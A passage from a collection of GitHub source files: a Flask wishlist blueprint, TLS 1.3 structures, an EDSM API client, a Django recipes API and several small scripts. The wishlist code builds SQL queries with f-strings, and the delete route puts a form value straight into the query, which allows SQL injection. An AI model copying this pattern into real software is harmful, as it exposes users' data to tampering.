\"\",\n# }\n# return \"\"\n \n \n \n \n@wishlist_blueprint.route(\"/addproduct_wishlist/\", methods=[\"GET\"])\ndef addproduct_wishlist(product_id):\n if \"logged_in\" not in session or not session[\"logged_in\"] or \"usertype\" not in session or session['usertype']!='user':\n print(session)\n return redirect(url_for(\"login_blueprint.login\"))\n else:\n if product_id:\n user_id = session[\"user_id\"]\n cursor = mysql.connection.cursor(MySQLdb.cursors.DictCursor)\n cursor.execute(\n \"SELECT * FROM wishlist WHERE user_id = %s AND product_id=%s\",\n (user_id, product_id),\n )\n account = cursor.fetchone()\n if account:\n message = \"product already exists in your wishlist\"\n alert_class = \"warning\"\n else:\n cursor.execute(\n \"INSERT INTO wishlist (user_id,product_id) VALUES (%s,%s)\",\n (user_id, product_id),\n )\n mysql.connection.commit()\n message = \"product successfully added to wishlist\"\n alert_class = \"success\"\n cursor.close()\n return redirect(\n url_for(\n \"wishlist_blueprint.view_wishlist\", message=message, alert_class=alert_class\n )\n )\n return redirect(url_for(\"wishlist_blueprint.view_wishlist\",message=message, alert_class=alert_class))\n \n \n@wishlist_blueprint.route(\"/view_wishlist\", methods=[\"GET\"])\ndef view_wishlist():\n if \"logged_in\" not in session or not session[\"logged_in\"] or \"usertype\" not in session or session['usertype']!='user':\n return redirect(\"login\")\n else:\n user_id = session[\"user_id\"]\n message = request.args.get(\"message\",'')\n alert_class=request.args.get('alert_class')\n cursor = mysql.connection.cursor(MySQLdb.cursors.DictCursor)\n cursor.execute(\n f\"SELECT w.*,p.image,p.name,p.amount FROM wishlist AS w JOIN product as p ON p.product_id=w.product_id WHERE w.user_id={user_id}\"\n )\n wishlist_items = cursor.fetchall()\n cursor.close()\n # print(cart_items)\n # print(user_id)\n\n return render_template(\n \"wishlist.html\",message=message,alert_class=alert_class,\n wishlist_items=wishlist_items,\n )\n \n \n@wishlist_blueprint.route(\"/delete_wishlist\", methods=[\"POST\"])\ndef delete_wishlist():\n if \"logged_in\" not in session or not session[\"logged_in\"] or \"usertype\" not in session or session['usertype']!='user':\n return redirect(\"login\")\n else:\n user_id = session[\"user_id\"]\n product_id = request.form.get(\"product_id\")\n cursor = mysql.connection.cursor(MySQLdb.cursors.DictCursor)\n cursor.execute(\n f\" DELETE FROM wishlist WHERE user_id={user_id} AND product_id={product_id}\"\n )\n mysql.connection.commit()\n cursor.close()\n message=\"Product successfully removed from your wishlist\"\n alert_class='success'\n return redirect(url_for(\"wishlist_blueprint.view_wishlist\",message=message, alert_class=alert_class))\n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n # if request.method=='POST':\n # details=pd.read_excel('open_ecommerce.xlsx',sheet_name='wishlist')\n # user_id=request.get_json()['user_id']\n # product_id=request.get_json()['product_id']\n \n # user_data=pd.read_excel('open_ecommerce.xlsx',sheet_name='user_data')\n # if user_id not in user_data.index:\n # return {\n # 'status':'failure',\n # 'message':'Invalid userid',\n # 'data': {},\n # 'traceback':''\n # }\n # product_data=pd.read_excel('open_ecommerce.xlsx',sheet_name='products')\n # if product_id not in product_data.index:\n # return {\n # 'status':'failure',\n # 'message':'Invalid Productid',\n # 'data': {},\n # 'traceback':''\n # }\n \n # wishlist_data=pd.read_excel('open_ecommerce.xlsx',sheet_name='wishlist')\n # if ((details['user_id']==user_id) & (details['product_id']==product_id)).any():\n # return {'status':'failure','message':'The given Userid and Productid combination already exists','data':'','traceback':''}\n\n # wb=load_workbook('open_ecommerce.xlsx')\n # ws=wb['wishlist']\n # wishlist_id_values=[int(row[0]) for row in ws.iter_rows(min_row=2,values_only=True)]\n # if wishlist_id_values:\n # wishlist_id=max(wishlist_id_values) + 1\n # else:\n # wishlist_id=1\n # ws.append([wishlist_id,user_id,product_id])\n # wb.save('open_ecommerce.xlsx')\n \n # return {\n # 'status':'sucess',\n # 'message':'Product has been added to the wishlist successfully',\n # 'data': {'wishlist_id':int(wishlist_id)},\n # 'traceback':''\n # }\n # return render_template('wishlist.html')","repo_name":"raparthydivya/ecomm","sub_path":"wishlist_blueprint.py","file_name":"wishlist_blueprint.py","file_ext":"py","file_size_in_byte":7995,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"18905679584","text":"from typing import List, NoReturn, Tuple, Union\n\nBOOLEAN_FORMAT_SYMBOL = \"#\"\nBOOL_VALUE = Union[int, bool]\nVALID_BIT_ORDERS = [\"MSB\", \"LSB\"]\nBIT_ORDER = \"MSB\"\n\n\ndef validate_bit_order(bit_order) -> NoReturn:\n \"\"\"Validate bit order parameter.\"\"\"\n if bit_order not in VALID_BIT_ORDERS:\n raise AttributeError(f\"except `LSB` or `MSB` bit order, got `{bit_order}`\")\n\n\ndef byte_to_booleans(bytes_: bytes, bit_order: str = BIT_ORDER) -> List[List[bool]]:\n \"\"\"\n Convert byte to list of booleans.\n\n :param bytes_: bytes convert to lists\n :param bit_order: bit order in one byte, `LSB` or `MSB` [LSB]\n :return: tuple with list of boolean\n \"\"\"\n validate_bit_order(bit_order)\n order_range = range(7, -1, -1) if bit_order == BIT_ORDER else range(8)\n # unpacked byte to bits\n return [[bool(1 << i & byte) for i in order_range] for byte in bytes_]\n\n\ndef boolean_to_byte(\n booleans: Union[List[List[BOOL_VALUE]], Tuple[List[BOOL_VALUE]], List[BOOL_VALUE]],\n bit_order: str = BIT_ORDER,\n) -> bytes:\n \"\"\"\n Convert list of bool or int (0 or 1) values to bytes. Length of list must be at least 8.\n\n :param booleans: list of bool or int value\n :param bit_order: bit order in one byte, `LSB` or `MSB` [LSB]\n :return: one byte\n \"\"\"\n validate_bit_order(bit_order)\n\n result = bytes() # create empty result\n booleans = booleans if isinstance(booleans[0], (list, tuple)) else [booleans] # convert to list of booleans\n # iter throw list og booleans\n for boolean_list in booleans:\n if len(boolean_list) > 8:\n raise TypeError(\"function to_byte expected list with max len of 8\")\n\n boolean_list = list(boolean_list) + [0] * (8 - len(boolean_list)) # convert to 8 bit if it's not\n boolean_list = boolean_list[::-1] if bit_order == BIT_ORDER else boolean_list # apply bit order\n result += sum(b << i for i, b in enumerate(boolean_list)).to_bytes(1, \"little\")\n\n return result\n","repo_name":"Cognexa/plcx","sub_path":"plcx/utils/boolean.py","file_name":"boolean.py","file_ext":"py","file_size_in_byte":1969,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"9511962959","text":"import pandas as pd\n\n# Read in the data from the text file using the full pathway\n# Use the pokemon name as the index\n\npokemon_df = pd.read_csv('data/pokemon-text.txt',\n index_col=0, \n delimiter=\";\")\n\n# Display the first 10 rows\n\npokemon_df.head(10)\n","repo_name":"ali4413/Ali-Mehrabifard","sub_path":"exercises/solution_02_04.py","file_name":"solution_02_04.py","file_ext":"py","file_size_in_byte":298,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"26860725214","text":"\"\"\" Import and export commands for assets.\n\n\"\"\"\n\nimport os\nimport logging\n\nfrom m2u import core\nfrom m2u import pipeline\nfrom . import connection\n\n_lg = logging.getLogger(__name__)\n\n\ndef fetch_selected_objects():\n \"\"\" Fast-fetch all selected actors by exporting them into an\n FBX-File and importing that file into the Program.\n Only one file containing all objects is created.\n This should not be used for creating reusable assets!\n\n \"\"\"\n path = pipeline.get_temp_folder()\n path = os.path.join(path, \"m2uTempExport.fbx\")\n\n msg = (\"FetchSelected \\\"\"+path+\"\\\"\")\n result = connection.send_message(msg)\n core.program.import_file(path)\n\n\ndef import_assets_batch(rel_file_path_list):\n \"\"\" Import all the asset files in the list the files paths have to\n be relative to the current project's content_root.\n\n This function will create a matching destination path for each\n file path.\n\n \"\"\"\n if len(rel_file_path_list) < 1:\n return\n\n msg = 'ImportAssetsBatch'\n content_root = pipeline.get_project_export_dir()\n for path in rel_file_path_list:\n if not path.startswith(\"/\") and len(path) > 0:\n path = \"/\"+path\n\n filepath = content_root + path\n directory = os.path.dirname(path)\n # The import destination has to be without the asset-name.\n # It will be auto-generated from the file-name by UE4.\n\n asset_path = \"/Game\" + directory.replace(\"\\\\\", \"/\")\n asset_path = asset_path.replace(\"//\", \"/\")\n if asset_path.endswith(\"/\"):\n asset_path = asset_path[:-1]\n\n msg = msg + ' \"' + asset_path + '\" \"' + filepath + '\"'\n result = connection.send_message(msg)\n","repo_name":"m2u/m2u","sub_path":"ue4/assets.py","file_name":"assets.py","file_ext":"py","file_size_in_byte":1689,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"72"}
+{"seq_id":"12448404530","text":"# -*- coding: UTF-8 -*-\nfrom .messages import Extension\nfrom .signature import SignatureScheme\nfrom ...utilization.bytestream import Reader\nfrom ...utilization.type import Uint8, Uint16, Uint24, Type\nfrom ...utilization.struct import Struct, Members, Member, Listof\n\n__all__ = [\n 'CertificateType', 'CertificateEntry', 'Certificate',\n 'CertificateVerify', 'Finished', 'Hash',\n]\n\n\n@Type.add_labels_and_values\nclass CertificateType(Type):\n # 证书类型\n \"\"\"\n enum {\n X509(0),\n RawPublicKey(2),\n (255)\n } CertificateType;\n \"\"\"\n X509 = Uint8(0)\n OpenPGP_RESERVED = Uint8(1)\n RawPublicKey = Uint8(2)\n _size = 1\n\n\nclass CertificateEntry(Struct):\n # 证书内容\n \"\"\"\n struct {\n select (certificate_type) {\n case RawPublicKey:\n /* From RFC 7250 ASN.1_subjectPublicKeyInfo */\n opaque ASN1_subjectPublicKeyInfo<1..2^24-1>;\n case X509:\n opaque cert_data<1..2^24-1>;\n };\n Extension extensions<0..2^16-1>;\n } CertificateEntry;\n \"\"\"\n def __init__(self, **kwargs):\n self.struct = Members(self, [\n Member(bytes, 'cert_data', length_t=Uint24),\n Member(Listof(Extension), 'extensions', length_t=Uint16),\n ])\n self.struct.set_args(**kwargs)\n\n @classmethod\n def get_types_from_bytes(cls, data=b'', reader=None):\n is_given_reader = bool(reader)\n if not is_given_reader:\n reader = Reader(data)\n\n cert_data = reader.get(bytes, length_t=Uint24)\n extensions = reader.get(bytes, length_t=Uint16)\n\n # 输入扩展名的扩展名是status_request或signed_certificate_timestamp\n # 粘贴extensions字节的字节很麻烦而且不太重要,所以我会推迟它\n obj = cls(cert_data=cert_data, extensions=[])\n\n if is_given_reader:\n return (obj, reader)\n return obj\n\n\nclass Certificate(Struct):\n # 发送证书\n \"\"\"\n struct {\n opaque certificate_request_context<0..2^8-1>;\n CertificateEntry certificate_list<0..2^24-1>;\n } Certificate;\n \"\"\"\n def __init__(self, **kwargs):\n self.struct = Members(self, [\n Member(bytes, 'certificate_request_context', length_t=Uint8),\n Member(Listof(CertificateEntry), 'certificate_list', length_t=Uint24),\n ])\n self.struct.set_default('certificate_request_context', b'')\n self.struct.set_args(**kwargs)\n\n @classmethod\n def get_types_from_bytes(cls, data):\n reader = Reader(data)\n certificate_request_context = reader.get(bytes, length_t=Uint8)\n certificate_list_bytes = reader.get(bytes, length_t=Uint24)\n certificate_list = []\n\n reader = Reader(certificate_list_bytes)\n while reader.get_rest_length() > 0:\n entry, reader = CertificateEntry.get_types_from_bytes(reader=reader)\n certificate_list.append(entry)\n\n return cls(certificate_request_context=certificate_request_context,\n certificate_list=certificate_list)\n\n\nclass CertificateVerify(Struct):\n # 发送证书签名\n \"\"\"\n struct {\n SignatureScheme algorithm;\n opaque signature<0..2^16-1>;\n } CertificateVerify;\n \"\"\"\n def __init__(self, **kwargs):\n self.struct = Members(self, [\n Member(SignatureScheme, 'algorithm'),\n Member(bytes, 'signature', length_t=Uint16),\n ])\n self.struct.set_args(**kwargs)\n\n @classmethod\n def get_types_from_bytes(cls, data):\n reader = Reader(data)\n algorithm = reader.get(Uint16)\n signature = reader.get(bytes, length_t=Uint16)\n return cls(algorithm=algorithm, signature=signature)\n\n\nclass Hash(bytes):\n size = 32\n\n @classmethod\n def set_size(cls, size):\n cls.size = size\n\n\nclass Finished(Struct):\n # 发送完成TLS握手\n \"\"\"\n struct {\n opaque verify_data[Hash.length];\n } Finished;\n \"\"\"\n def __init__(self, **kwargs):\n self.struct = Members(self, [\n Member(Hash, 'verify_data'),\n ])\n self.struct.set_args(**kwargs)\n\n @classmethod\n def get_types_from_bytes(cls, data):\n reader = Reader(data)\n verify_data = reader.get(Hash)\n return cls(verify_data=verify_data)\n\n","repo_name":"hailongeric/TLS1.3","sub_path":"tls13/protocol/exchange_key/authentication.py","file_name":"authentication.py","file_ext":"py","file_size_in_byte":4301,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"72"}
+{"seq_id":"14675525468","text":"import requests\nimport schedule\nimport pyperclip\nimport time\nimport json\nfrom configAndData import get_wingmankeydependingName\n\n# Envoyer son FSDtarget à EDSM\ndef send_comment_to_api(commander_name, api_key, system_name, comment):\n try:\n params = {\n \"commanderName\": commander_name,\n \"apiKey\": api_key,\n \"systemName\": system_name,\n \"comment\": comment\n }\n\n url = \"https://www.edsm.net/api-logs-v1/set-comment\"\n response = requests.get(url, params=params)\n\n # response JSON\n if response.status_code == 200:\n data = response.json()\n if data['msgnum'] == 100:\n print(\"Commentaire ajouté avec succès.\")\n else:\n print(f\"Erreur lors de l'ajout du commentaire : {data['msg']}\")\n else:\n print(f\"Erreur lors de la requête à l'API EDSM. Code de statut : {response.status_code}\")\n\n except Exception as e:\n print(f\"Une erreur s'est produite : {str(e)}\")\n\n# get le systeme actuel d'un wingman ppar EDSM\ndef get_wingman_current_StarSystem(wingman_commander_name, wingman_api_key):\n #try:\n params = {\n \"commanderName\": wingman_commander_name,\n \"apiKey\": wingman_api_key,\n }\n\n url = \"https://www.edsm.net/api-logs-v1/get-position\"\n response = requests.get(url, params=params)\n\n if response.status_code == 200:\n apiResponse = response.json()\n if apiResponse['msgnum'] == 100:\n wingman_current_StarSystem = apiResponse['system']\n print(wingman_commander_name+\" est sur \"+wingman_current_StarSystem)\n\n with open(\"config_and_data.json\", \"r+\") as json_file:\n data = json.load(json_file)\n key = get_wingmankeydependingName(wingman_commander_name)\n data[key][\"current_StarSystem\"] = wingman_current_StarSystem\n json_file.seek(0)\n json.dump(data, json_file, indent=4)\n json_file.truncate()\n\n else:\n print(f\"Erreur lors de la récupération du commentaire : {apiResponse['msg']}\")\n else:\n print(f\"Erreur lors de la requête à l'API EDSM. Code de statut : {response.status_code}\")\n\n #except Exception as e:\n # print(f\"Une erreur s'est produite : {str(e)}\")\n\n\n# get le FSDtarget du wingman 1 par l'API EDSM qui est un commentaire\ndef get_wingman_comment(wingman_commander_name, wingman_api_key):\n try:\n # recup de la position actuelle depuis le json\n\n with open(\"config_and_data.json\", \"r\") as json_file:\n data = json.load(json_file)\n key = get_wingmankeydependingName(wingman_commander_name)\n wingman_current_StarSystem = data[key][\"current_StarSystem\"]\n\n\n \n params = {\n \"commanderName\": wingman_commander_name,\n \"apiKey\": wingman_api_key,\n \"systemName\": wingman_current_StarSystem\n }\n\n \n url = \"https://www.edsm.net/api-logs-v1/get-comment\"\n response = requests.get(url, params=params)\n\n # response JSON\n if response.status_code == 200:\n apiResponse = response.json()\n if apiResponse['msgnum'] == 100:\n comment = apiResponse['comment']\n print(f\"Commentaire récupéré : {comment}\")\n\n with open(\"config_and_data.json\", \"r+\") as json_file:\n data = json.load(json_file)\n key = get_wingmankeydependingName(wingman_commander_name)\n data[key][\"FSDTarget\"] = comment\n json_file.seek(0)\n json.dump(data, json_file, indent=4)\n json_file.truncate()\n return comment\n \n elif apiResponse['msgnum'] == 101:\n comment = apiResponse['comment']\n print(\"pas de FSD TARGET trouvé pour ce système \")\n\n with open(\"config_and_data.json\", \"r+\") as json_file:\n data = json.load(json_file)\n key = get_wingmankeydependingName(wingman_commander_name)\n data[key][\"FSDTarget\"] = \"\"\n json_file.seek(0)\n json.dump(data, json_file, indent=4)\n json_file.truncate()\n return \"\" \n else:\n print(f\"Erreur lors de la récupération du commentaire : {data['msg']}\")\n else:\n print(f\"Erreur lors de la requête à l'API EDSM. Code de statut : {response.status_code}\")\n\n except Exception as e:\n print(f\"Une erreur s'est produite : {str(e)}\")\n\n\n","repo_name":"floriangagnard/Edsharefsdtarget","sub_path":"api_interaction.py","file_name":"api_interaction.py","file_ext":"py","file_size_in_byte":4880,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"27825689997","text":"import numpy as np\n\nnp.random.seed( 1 )\n\ndef relu( x ):\n return ( x > 0 ) * x\n\ndef relu2deriv( output ):\n return output > 0\n\nstreetlights = np.array( [[ 1, 0, 1 ],\n [ 0, 1, 1 ],\n [ 0, 0, 1 ],\n [ 1, 1, 1]] )\n\nwalk_vs_stop = np.array( [[ 1, 1, 0, 0 ]] ).T\n\nalpha = 0.2\nhidden_size = 4\n\nweights_0_1 = 2*np.random.random( ( 3, hidden_size ) ) - 1\nweights_1_2 = 2*np.random.random( ( hidden_size, 1 ) ) - 1\n\nfor i in range( 60 ):\n layer_2_error = 0\n for j in range( len( streetlights ) ):\n layer_0 = streetlights[ j:j+1 ]\n layer_1 = relu( np.dot( layer_0, weights_0_1 ) )\n layer_2 = np.dot( layer_1, weights_1_2 )\n\n layer_2_error += np.sum( ( layer_2 - walk_vs_stop[ j:j+1 ] ) ** 2 )\n\n layer_2_delta = ( layer_2 - walk_vs_stop[ j:j+1 ] ) \n layer_1_delta = layer_2_delta.dot( weights_1_2.T) * relu2deriv( layer_1 )\n\n\n weights_1_2 -= alpha * layer_1.T.dot( layer_2_delta )\n weights_0_1 -= alpha * layer_0.T.dot( layer_1_delta )\n\n if ( i % 10 == 9 ):\n print( f\"Error: { layer_2_error }\" )\n","repo_name":"ValenYamamoto/neural_nets","sub_path":"grokking/backprop.py","file_name":"backprop.py","file_ext":"py","file_size_in_byte":1134,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"11837094046","text":"import functools\nimport sys\n\n#Program untuk mengkalkulasi cicilan dan mencari ongkos kirim paling minimum\n\nclass Node():\n def __init__(self, state, parent, action, distanceFromStart, distanceFromGoal):\n self.state = state\n self.parent = parent\n self.action = action\n self.distanceFromStart = distanceFromStart #g(n)\n self.distanceFromGoal = distanceFromGoal #h(n)\n self.calculatedDistance = self.distanceFromStart + self.distanceFromGoal\n\n#A*ImplementationGoesHere\nclass AStarFrontier():\n def __init__(self):\n self.frontier = []\n \n def add(self, node):\n self.frontier.append(node)\n \n #state represented as transferred money (int)\n def contains_state(self, state):\n return any(node.state == state for node in self.frontier)\n \n def empty(self):\n return len(self.frontier) == 0\n \n def remove(self):\n if self.empty():\n raise Exception(\"frontier kosong\")\n else: #perbandingan g(n) + h(n) goes here\n chosen = functools.reduce(lambda a,b: a if a.calculatedDistance < b.calculatedDistance else b, self.frontier)\n\n for idx, node in enumerate(self.frontier):\n if node == chosen:\n return self.frontier.pop(idx)\n\nclass problem():\n def __init__(self):\n print(\"=========== Program Minimal Biaya Transfer ==========\")\n self.startingPoint = int(input(\"Masukkan biaya awal/biaya yang sudah dibayarkan (tanpa titik):Rp. \"))\n self.goal = int(input(\"Masukkan harga yang akan dicicil (tanpa titik):Rp. \"))\n self.transferCost = int(input(\"Masukkan ongkos untuk sekali kirim:Rp. \"))\n print()\n\n self.actionCandidates = set()\n\n while(True):\n action = input(\"Masukkan nominal transaksi yang disanggupi (tekan enter untuk menyudahi): Rp.\")\n\n if action == \"\":\n print(\"input disudahi.\")\n break\n elif int(action) < 0:\n print(\"nilai cicilan invalid\")\n elif int(action) >= self.goal:\n print(\"kenapa tidak bayar langsung tunai?\")\n else:\n self.actionCandidates.add( int(action) )\n \n def neighbors(self, state): # state == transferred(int)\n candidate = []\n for action in self.actionCandidates:\n newAction = f\"Rp.{action},00\"\n newState = state + action\n candidate.append((newAction, newState))\n \n return candidate\n\n def solve(self):\n self.num_explored = 0\n self.exploredState = set()\n\n startNode = Node(self.startingPoint, None, None, 0, self.goal - self.startingPoint)\n frontier = AStarFrontier()\n frontier.add(startNode)\n\n while True:\n\n if frontier.empty():\n raise Exception(\"no solution\")\n\n currentNode = frontier.remove()\n self.num_explored += 1\n \n if currentNode.state >= self.goal:\n excess = currentNode.state - self.goal\n actionsToGoal = []\n stateToGoal = []\n charges = []\n\n while currentNode.parent is not None:\n actionsToGoal.append(currentNode.action)\n stateToGoal.append(currentNode.state)\n charges.append(currentNode.distanceFromStart)\n currentNode = currentNode.parent\n \n actionsToGoal.reverse()\n stateToGoal.reverse()\n charges.reverse()\n self.solution = (actionsToGoal, stateToGoal, charges, excess if excess > 0 else 0)\n return\n \n self.exploredState.add(currentNode.state)\n\n for action, state in self.neighbors(currentNode.state):\n if not frontier.contains_state(state) and state not in self.exploredState:\n child = Node(state, currentNode, action, currentNode.distanceFromStart + self.transferCost, self.goal - state)\n frontier.add(child)\n \n def conclusions(self, detailedMode=False):\n actions, states, charges, excess = self.solution\n if detailedMode:\n print()\n print(\"advanced mode on...\")\n\n for i, action in enumerate(actions):\n print(f\"{i}.[+{action}, paid={states[i]}, charges={charges[i]}]\")\n\n print(f\"explored state = {self.num_explored}\")\n print(\"advanced mode end...\")\n print()\n\n print(\"Berikut kesimpulan kami untuk meminimalisir ongkos kirim:\")\n print(f\"anda bisa mengambil cicilan {len(actions)} kali ({actions[0]}/transaksi)\")\n print(f\"dengan total ongkos kirim = Rp.{charges[-1]},00\")\n if excess > 0:\n print(f\"kembalian di transaksi terakhir: Rp.{excess},00\")\n\n\np = problem()\np.solve()\nflag = False\nif len(sys.argv) > 1:\n flag = \"-a\" in sys.argv\np.conclusions(flag)\n\n \n","repo_name":"nwxxb/transferFeeCounter","sub_path":"script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":4976,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"31243480346","text":"VIDEOS = dict()\n\n\nclass Video:\n def __init__(self, filename, stream_v, stream_a,\n width, height, fps, duration):\n self.filename = filename\n self.stream_v = stream_v\n self.stream_a = stream_a\n self.width = width\n self.height = height\n self.fps = fps\n self.duration = duration\n","repo_name":"Titankrot/Console-videoredactor","sub_path":"files/videos.py","file_name":"videos.py","file_ext":"py","file_size_in_byte":343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"30188736818","text":"from rest_framework.views import APIView\nfrom users.models import User\nfrom rest_framework.response import Response\nfrom .models import Ingredient, Recipe, Rating, Rate\nfrom .user_detection import user_detection\nfrom .list_recipes import list_recipes\nfrom rest_framework.exceptions import AuthenticationFailed, ParseError\nfrom django.db.models import Q, Count\nimport operator\nfrom functools import reduce\n\n\nclass CreateRecipeView(APIView):\n def post(self, request):\n try:\n recipe_name = request.data['recipe_name']\n recipe_text = request.data['recipe_text']\n ingredients_list = request.data['ingredients_list']\n except:\n raise ParseError('You should provide: recipe_name, recipe_text and ingredients_list!')\n\n if not isinstance(recipe_name, str) == isinstance(recipe_text, str) == isinstance(ingredients_list, list) == True or not all(isinstance(ing, str) for ing in ingredients_list):\n raise ParseError('Make sure that: recipe_name (type=str), recipe_text (type=str) and ingredients_list (type=list(str))!')\n\n user = User.objects.get(id=user_detection(request))\n\n try:\n recipe = Recipe(name=recipe_name, recipe_text=recipe_text, user=user)\n recipe.save()\n except:\n raise ParseError('The recipe with given name already exists!', code=300)\n\n for ingredient_name in ingredients_list:\n ingredient = Ingredient(name=ingredient_name.capitalize())\n ingredient = Ingredient.objects.get_or_create(name=ingredient_name.capitalize())[0]\n recipe.ingredients.add(ingredient)\n \n resp = {\n \"status\": 200, \n \"message\": \"Recipe created successfully!\"\n }\n return Response(resp)\n\n\nclass AllRecipesView(APIView):\n def get(self, request):\n\n if not user_detection(request):\n raise AuthenticationFailed('Unauthenticated!')\n\n all_recipes_query = Recipe.objects.all()\n\n content = list_recipes(all_recipes_query)\n\n return Response(content)\n\n\nclass MyRecipesView(APIView):\n def get(self, request):\n\n my_recipes_query = Recipe.objects.all().filter(user=user_detection(request))\n \n content = list_recipes(my_recipes_query)\n\n return Response(content)\n\n\nclass RateRecipeView(APIView):\n def post(self, request):\n try:\n recipe_name = request.data['recipe_name']\n recipe_rate = request.data['recipe_rate']\n except:\n raise ParseError('You should provide: recipe_name and recipe_rate (1-5)!')\n\n if not isinstance(recipe_name, str) == True or recipe_rate not in [1,2,3,4,5]:\n raise ParseError('Make sure that: recipe_name (type=str) and recipe_rate (type=int(1-5)!')\n\n recipe = Recipe.objects.filter(name=recipe_name).first()\n \n if not recipe:\n raise ParseError(\"This recipe does not exist!\")\n\n if recipe.user_id == user_detection(request):\n raise ParseError('You cannot rate your own recipe!')\n\n user = User.objects.filter(id=user_detection(request)).first()\n rate = Rate.objects.filter(id=recipe_rate).first()\n\n Rating.objects.update_or_create(user=user, recipe=recipe, defaults = {'rate': rate})\n resp = {\n \"status\": 200, \n \"message\": \"Recipe rated successfully!\"\n }\n return Response(resp)\n\n\nclass MostUsedIngredientsView(APIView):\n def get(self, request):\n if not user_detection(request):\n raise AuthenticationFailed('Unauthenticated!')\n\n ingredients_query = Recipe.objects.values_list('ingredients__name').annotate(count=Count('ingredients')).order_by('-count')[:5]\n\n most_used = []\n\n for ing in ingredients_query:\n most_used.append(ing[0])\n\n resp = {\n \"status\": 200, \n \"most_used_ingredients\": most_used\n }\n return Response(resp)\n\n\nclass SearchRecipesView(APIView):\n def post(self, request):\n if not user_detection(request):\n raise AuthenticationFailed('Unauthenticated!')\n\n name = request.data.get(\"name\", \"xxxxx\")\n text = request.data.get(\"text\", \"xxxxx\")\n ingredients = request.data.get(\"ingredients\", [\"xxxxx\"])\n\n if not isinstance(name, str) == isinstance(text, str) == isinstance(ingredients, list) == True or not all(isinstance(ing, str) for ing in ingredients):\n raise ParseError('Make sure that: name (type=str), text (type=str) and ingredients (type=list(str))!')\n\n recipes_found_query = Recipe.objects.filter(Q(name__icontains=name) | Q(recipe_text__icontains=text) | reduce(operator.or_, (Q(ingredients__name__icontains=ing) for ing in ingredients))).distinct()\n\n content = list_recipes(recipes_found_query)\n\n return Response(content)\n\n\nclass FilterRecipesView(APIView):\n def post(self, request):\n if not user_detection(request):\n raise AuthenticationFailed('Unauthenticated!')\n\n min_ingredients = request.data.get(\"min_ingredients\", 0)\n max_ingredients = request.data.get(\"max_ingredients\", 100)\n\n if not isinstance(min_ingredients, int) == isinstance(max_ingredients, int) == True:\n raise ParseError('Make sure that: min_ingredients (type=int) and max_ingredients (type=int)!')\n\n recipes_filtered_query = Recipe.objects.annotate(number_of_ingredients=Count('ingredients')).filter(number_of_ingredients__lte=max_ingredients, number_of_ingredients__gte=min_ingredients)\n\n content = list_recipes(recipes_filtered_query)\n\n return Response(content)","repo_name":"MirkoMilanovic/Recipes_API","sub_path":"recipes/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"26316624301","text":"f1 = \"D:\\python\\chapter9\\jay.txt\"\nf2 = \"D:\\python\\chapter9\\jay1.txt\"\n\nwith open(f1) as f:\n file1 = f.read()\n\nwith open(f2) as f:\n file2 = f.read()\n\nif file1==file2:\n print(\"Yes! thes files are identical\")\nelse:\n print(\"These files are not identical\")","repo_name":"jayesh580/my_python","sub_path":"chapter9/13_identical_files.py","file_name":"13_identical_files.py","file_ext":"py","file_size_in_byte":262,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"7724753763","text":"from mySecret import *\nimport requests\nimport json\n\naccess_token = myAccessToken\n\nroom_id = 'Y2lzY29zcGFyazovL3VzL1JPT00vZWNlM2NiZDAtOTA3NC0xMWViLWEyODktZDczOWQ1ZjdhMWNh'\nurl = 'https://webexapis.com/v1/memberships'\nheaders = {\n 'Authorization': 'Bearer {}'.format(access_token),\n 'Content-Type': 'application/json'\n}\nparams = {'roomId': room_id}\nres = requests.get(url, headers=headers, params=params)\n\nprint(json.dumps(res.json(), indent=4))\n","repo_name":"Puddinnd/NPA-2020","sub_path":"week6-REST_API/basic/list-memberships.py","file_name":"list-memberships.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"70578367592","text":"\"\"\"This file contains the Status class that analyzes open projects, members and meetings data in order to \nprovide topline information on the dashboard\"\"\"\n# Contributions: apaderno at https://stackoverflow.com/questions/1937622/convert-date-to-datetime-in-python/1937636 for converting\n# a date value to datetime in function confirm_meeting\n\nfrom datetime import date\nfrom datetime import datetime\nimport sqlparse\n\nclass Status:\n \"\"\"Represents the view from the dashboard page.\"\"\"\n\n def __init__(self, data) -> None:\n \"\"\"\n Initializes the Status class that holds all the open projects for \n the dashboard view.\n \"\"\"\n self._data = data\n\n def test_data(self):\n print(self._data)\n\ndef confirm_meeting(meetings):\n \"\"\"\n This is a helper method to clear which meetings have passed\n \"\"\"\n upcoming_meetings = []\n date_now = datetime.now() # Get today's date\n for meeting in meetings:\n converted_date = datetime.combine(meeting.date, datetime.min.time()) # Convert date to datetime\n if (converted_date > date_now): # Check if the meeting time has passed\n upcoming_meetings.append(meeting)\n return upcoming_meetings","repo_name":"DeanDro/Django_Projects","sub_path":"myblog/project_management/functionality/dashboard_view.py","file_name":"dashboard_view.py","file_ext":"py","file_size_in_byte":1226,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
